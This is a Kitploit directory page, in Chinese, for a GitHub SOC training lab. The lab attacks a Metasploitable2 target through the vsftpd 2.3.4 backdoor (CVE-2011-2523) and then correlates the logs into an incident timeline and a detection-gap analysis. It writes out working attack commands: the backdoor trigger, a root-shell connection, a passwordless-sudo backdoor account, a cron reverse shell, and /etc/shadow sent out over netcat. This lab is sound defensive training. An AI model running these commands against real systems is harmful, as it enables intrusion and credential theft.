Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
soc-investigation-lab — 端到端 SOC 调查:CVE-2011-2523 杀伤链、多源日志关联、事件报告 — MITRE ATT&CK T1190 | Kitploit
工具/GitHubGitHub/mithileshan/soc-investigation-lab
侦察漏洞分析漏洞利用取证分析后渗透利用渗透测试威胁情报学习与教育事件响应日志分析实验室与实践
GitHub
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
mithileshan/soc-investigation-lab

soc-investigation-lab

端到端 SOC 调查:CVE-2011-2523 杀伤链、多源日志关联、事件报告 — MITRE ATT&CK T1190

查看仓库

端到端安全运营中心(SOC)调查实验室

针对 Metasploitable2 执行完整的四阶段攻击链(侦察 → 利用 → 持久化 → 数据外泄),在每个阶段收集证据,并生成结构化的入侵时间线和 SOC 报告——同时演示攻击者与防御者思维。

MITRE ATT&CK T1190 MITRE ATT&CK T1136 MITRE ATT&CK T1078 MITRE ATT&CK T1041 Python


目标

这是一个顶点项目。它展示了以下能力:

  • 针对一个故意存在弱点的目标执行真实的杀伤链
  • 在每个阶段使用多种遥测源收集取证证据
  • 将来自不同系统的日志条目关联到统一的时间线
  • 进行可见性差距分析——识别若缺少适当检测覆盖将会遗漏什么
  • 以真实安全团队使用的格式生成 SOC 级别的入侵报告

所用的漏洞(CVE-2011-2523 — vsftpd 2.3.4 后门)具有历史意义:这是一次供应链攻击,攻击者将后门注入了开源的 vsftpd 软件包源码仓库。


架构

root@kitploit:~
                    ╔═══════════════════════════════╗
                    ║  soc-lab (172.23.0.0/24)       ║
                    ║                               ║
┌─────────────┐     ║  ┌─────────────────────────┐  ║
│  攻击者      │     ║  │  Metasploitable2        │  ║
│  Kali Linux │     ║  │  172.23.0.200           │  ║
│             │     ║  │                         │  ║
│  阶段1      │─────╫─►│  :21  vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│  nmap -A    │     ║  │  :22  SSH               │  ║    后门在:6200
│             │     ║  │  :80  HTTP (DVWA)        │  ║
│  阶段2      │─────╫─►│  :445 Samba             │  ║
│  msf exploit│◄────╫──│  :6200 root shell       │  ║
│             │     ║  └─────────────────────────┘  ║
│  阶段3      │─────╫─► useradd sysbackup           ║
│  持久化     │─────╫─► crontab 反弹 shell          ║
│             │     ║                               ║
│  阶段4      │◄────╫── /etc/shadow 通过 nc :5555    ║
│  数据外泄         ╚═══════════════════════════════╝
└──────┬──────┘
       │
       │ 证据收集:
       │  logs/msf_session.log
       │  logs/target_auth.log
       │  captures/full_attack_chain.pcap (tshark CSV)
       ▼
┌──────────────────────────────────────────────────┐
│  build_timeline.py                               │
│  解析器:MSF 日志 + auth.log + tshark CSV         │
│  → 按时间戳合并 → 按阶段标记                      │
│  → JSON 时间线 + Markdown 入侵报告                │
└──────────────────────────────────────────────────┘

工具与技术栈


设置

root@kitploit:~
cd docker/

# 启动 Metasploitable2(隔离网络)
docker compose up -d metasploitable

# 验证目标可达
nmap -p 21,22,80 172.23.0.200

# 启动后台包捕获
sudo tcpdump -i eth0 host 172.23.0.200 \
    -w captures/full_attack_chain.pcap &

如何运行(攻击链)

阶段1 — 侦察

root@kitploit:~
nmap -sV -O -A \
    -p 21,22,80,139,445,3306,5432 \
    --script=banner,ftp-anon,http-title \
    -oX logs/recon_scan.xml \
    172.23.0.200

关键发现:21/tcp open ftp vsftpd 2.3.4

阶段2 — 利用(CVE-2011-2523)

root@kitploit:~
# 方法A:Metasploit
msfconsole -q -x "
  use exploit/unix/ftp/vsftpd_234_backdoor;
  set RHOSTS 172.23.0.200;
  set PAYLOAD cmd/unix/interact;
  run" | tee logs/msf_session.log

# 方法B:手动(演示机制)
# 步骤1:通过发送包含 ':)' 的用户名触发后门
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# 步骤2:连接到生成的 root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)

为什么这能工作:当 vsftpd 2.3.4 接收到包含子串 :) 的用户名时,守护进程会执行 execl("/bin/sh",...) 并绑定到 TCP 端口 6200。无需认证——直接获得 root shell。

阶段3 — 持久化

root@kitploit:~
# 在目标的 root shell 中执行:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -

阶段4 — 数据外泄

root@kitploit:~
# 接收端(攻击者)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt

# 发送端(目标上)
cat /etc/shadow | nc 172.23.0.1 5555

构建入侵时间线

root@kitploit:~
# 先将 PCAP 转换为 CSV
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap

# 从所有源构建时间线
python3 src/build_timeline.py \
    --msf-log  logs/msf_session.log \
    --auth-log logs/target_auth.log \
    --pcap-csv captures/full_attack_chain_packets.csv \
    --output-json samples/timeline.json \
    --output-md   docs/incident_report.md \
    --pretty

示例输出

build_timeline.py stderr

root@kitploit:~
2026-04-24T16:05:20  [INFO    ]  Parsed 9 events from MSF log
2026-04-24T16:05:20  [INFO    ]  Parsed 11 events from auth.log
2026-04-24T16:05:20  [INFO    ]  Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20  [INFO    ]  Total events (sorted): 24
2026-04-24T16:05:20  [INFO    ]  Unique IOCs extracted: 4
2026-04-24T16:05:20  [INFO    ]  Phase RECON   : 8 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase PERSIST : 6 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXFIL   : 2 event(s)

入侵时间线(来自 samples/sample_timeline.json 的摘录)

root@kitploit:~
{
  "total_events": 24,
  "iocs": [
    { "indicator": "172.23.0.1", "phase": "RECON",   "occurrence": 8 },
    { "indicator": "172.23.0.1", "phase": "EXPLOIT",  "occurrence": 2 },
    { "indicator": "sysbackup",  "phase": "PERSIST", "occurrence": 1 }
  ],
  "timeline": [
    { "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON",   "description": "nmap -sV -O -A", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
    { "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL",   "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
  ]
}

可见性差距分析

这是最重要的分析输出——如果没有适当的检测,哪些内容将会被遗漏。

关键发现:vsftpd 2.3.4 漏洞利用在 auth.log 中没有留下任何条目,因为它绕过了登录子系统。唯一的日志证据是随后到端口 6200 的 TCP 连接——没有网络遥测则不可见。仅靠端点日志无法检测此类攻击。


限制与未来工作


参考


项目结构

root@kitploit:~
04-soc-investigation/
├── src/
│   ├── build_timeline.py      # 多源日志合并器 + 阶段标记器
│   └── run_attack_chain.sh    # 包含精确命令的逐步攻击链
├── configs/
│   └── splunk_detection_rules.spl   # 特定阶段的 SPL 查询(侦察/利用/持久化/数据外泄)
├── samples/
│   └── sample_timeline.json   # 示例入侵时间线 JSON
├── docker/
│   └── docker-compose.yml     # 隔离的 Metasploitable2 目标
├── docs/
│   └── incident_report.md     # 生成的 SOC 报告(build_timeline.py --output-md)
└── screenshots/
下载工具
工具用途
Metasploitable2故意存在弱点的 Linux 目标
Nmap 7.94阶段1:服务枚举
Metasploit 6.x阶段2:vsftpd 2.3.4 漏洞利用
Netcat阶段3–4:持久化 + 数据外泄
tshark所有阶段的包捕获
Python 3build_timeline.py — 多源日志合并器
Splunk Free / ELK特定阶段的 SIEM 检测
阶段原始日志证据被 SIEM 规则捕获缺少覆盖时被遗漏
侦察PCAP:对 24 个端口的 SYN 泛洪端口扫描规则(>20 端口/10秒)✓慢速扫描 (-T1):完全规避速率阈值
利用PCAP:到 :6200 的新连接 · 没有 auth.log 条目:6200 端口异常规则 ✓如果攻击者使用了 :80 上的 HTTP 漏洞——没有端口异常
持久化auth.log:new user: name=sysbackup新用户创建告警 ✓直接编辑 /etc/passwd:无日志记录(缺少 auditd)
数据外泄PCAP::5555 上 4 KB 出站非标准端口 + 大小规则 ✓DNS 外泄(TXT 记录):完全规避体积规则
限制影响缓解措施
vsftpd 2.3.4 是 2011 年的漏洞不能代表现代漏洞添加 EternalBlue (MS17-010) 作为替代利用场景
build_timeline.py 使用关键词分类错误分类某些事件使用标记的日志数据训练轻量级 NLP 分类器
缺少端点检测 (EDR)文件级持久化(authorized_keys)未被捕获在目标上添加 Wazuh 或 Elastic Agent
手动执行攻击链无交互干预则无法复现使用 Metasploit 资源脚本自动化阶段 2–4
参考ID / 链接
CVE-2011-2523 — vsftpd 2.3.4 后门https://nvd.nist.gov/vuln/detail/CVE-2011-2523
MITRE ATT&CK — 利用面向公众的应用程序T1190
MITRE ATT&CK — 创建账户:本地账户T1136.001
MITRE ATT&CK — 计划任务/作业:CronT1053.003
MITRE ATT&CK — 通过 C2 通道外泄T1041
MITRE ATT&CK — 有效账户T1078